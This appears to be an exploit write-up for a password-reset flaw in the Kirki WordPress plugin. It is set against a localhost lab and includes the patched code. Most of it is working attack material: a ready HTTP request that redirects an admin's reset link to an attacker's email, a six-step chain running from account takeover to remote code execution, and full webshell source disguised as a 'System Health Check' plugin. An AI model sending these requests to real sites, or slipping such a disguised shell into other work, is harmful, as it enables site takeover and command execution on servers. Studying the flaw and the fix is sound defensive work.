public function handle_forgot_password( $request ) {
    $form_data = $request->get_body_params();
    $this->validate_nonce( 'kirki-forgot-password' );

    $email    = $form_data['email'];     // <-- ATTACKER CONTROLLED
    $username = $form_data['username'];

    $user = get_user_by( 'login', $username );
    //BUG: Does NOT check $email === $user->user_email
    //      Attacker's email is used directly

    $key = get_password_reset_key( $user );
    $reset_link = "$url?action=rp&key=$key&login=$username";

    // SENDS RESET LINK TO ATTACKER'S EMAIL
    wp_mail( $email, $subject, $body_with_reset_link );
    //       ^^^^^
    //  ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}

// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject'];   // Client-controlled
$email_body    = $form_data['emailBody'];       // Client-controlled
// No verify_email_template_signature()

// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}

Phase 1: Extract Nonce       → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email  → Send reset link to attacker's email
Phase 3: Reset Password      → Change admin password using the obtained reset key
Phase 4: Login Admin         → Log in with the new password
Phase 5: Webshell Upload     → Install backdoor via plugin upload
Phase 6: RCE                 → Execute arbitrary commands on the server

// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
                 ? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
              ? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
    if ( $body_data['type'] === 'text' ) {
        $email_body = $email_body . $body_data['value'];
    } elseif ( $body_data['type'] === 'chip' ) {
        $email_body = $email_body . $chip_data[ $body_data['value'] ];
        //                                     ^^^^^^^^^^^^^^^^^^^
        //                $chip_data['reset_link'] = actual reset URL!
    }
}

grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/

Find endpoint (/wp-json/ or rest_route)
       ↓
Read PHP source → find $form_data['emailBody']
       ↓
Understand JSON array format (type / value)
       ↓
Read chip_data array → find key "reset_link"
       ↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
       ↓
Test → success

POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded

username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D

Subject: Password Reset

Click the link below to reset your password:
http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin

<?php
/*
Plugin Name: System Health Check
Description: System diagnostics tool
Version: 1.0
Author: WordPress
*/
if (isset($_REQUEST['cmd'])) {
    echo '<pre>';
    echo htmlspecialchars(shell_exec($_REQUEST['cmd']));
    echo '</pre>';
}

Admin Dashboard (Account Takeover)
       ↓
Upload Plugin containing Webshell (.zip)
       ↓
WordPress extracts → .php file resides on server
       ↓
Access shell.php?cmd=<command>
       ↓
Server executes command → returns result
       ↓
RCE complete — full www-data privileges on server

// AFTER (patched):
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    return new WP_REST_Response(
        array( 'message' => 'If an account exists...' ), 200
    );
}
$email = $user_email;  // Force use of the user's actual email